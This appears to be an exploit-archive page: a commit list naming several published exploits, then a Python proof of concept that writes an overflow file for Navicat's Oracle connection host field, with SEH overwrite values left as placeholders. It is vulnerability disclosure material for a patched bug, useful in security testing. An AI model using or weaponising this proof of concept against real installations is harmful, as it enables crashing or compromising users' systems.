df4d831719
6 changes to exploits/shellcodes Navicat < 12.0.27 - Oracle Connection Overflow macOS 10.13.2 - Double mach_port_deallocate in kextd due to Failure to Comply with MIG Ownership Rules macOS/iOS - ReportCrash mach port Replacement due to Failure to Respect MIG Ownership Rules Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit) WordPress Plugin Form Maker 1.12.20 - CSV Injection Nagios XI 5.2.[6-9]_ 5.3_ 5.4 - Chained Remote Root
24 lines
No EOL
750 B
Python
Executable file
24 lines
No EOL
750 B
Python
Executable file
#!/usr/bin/python
|
|
# Title: Navicat < 12.0.27 Oracle Connection Overflow
|
|
# Author: Kevin McGuigan
|
|
# Twitter: @_h3xagram
|
|
# Author Website: https://www.7elements.co.uk
|
|
# Vendor Website: https://www.navicat.com
|
|
# Date: 27/04/2018
|
|
# Version: 12.0.26
|
|
# Tested on Windows 7 32-bit
|
|
# Vendor notified on 04/04/2018. Patch issued on 25/04/2018.
|
|
|
|
|
|
# Generate file > Create new Oracle Connection > paste contents of "navicatPOC.txt" into host field and test connection to trigger overflow.
|
|
filename="navicatPOC.txt"
|
|
junk = "A" * 1502
|
|
#nseh = "\x4C\x4C\x77\x04"
|
|
#seh= "\x75\x2a\x01\x10"
|
|
nseh = "B" * 4
|
|
seh = "C" * 4
|
|
fill = "D" * 4000
|
|
buffer = junk + nseh + seh + fill
|
|
textfile = open(filename , 'w')
|
|
textfile.write(buffer)
|
|
textfile.close() |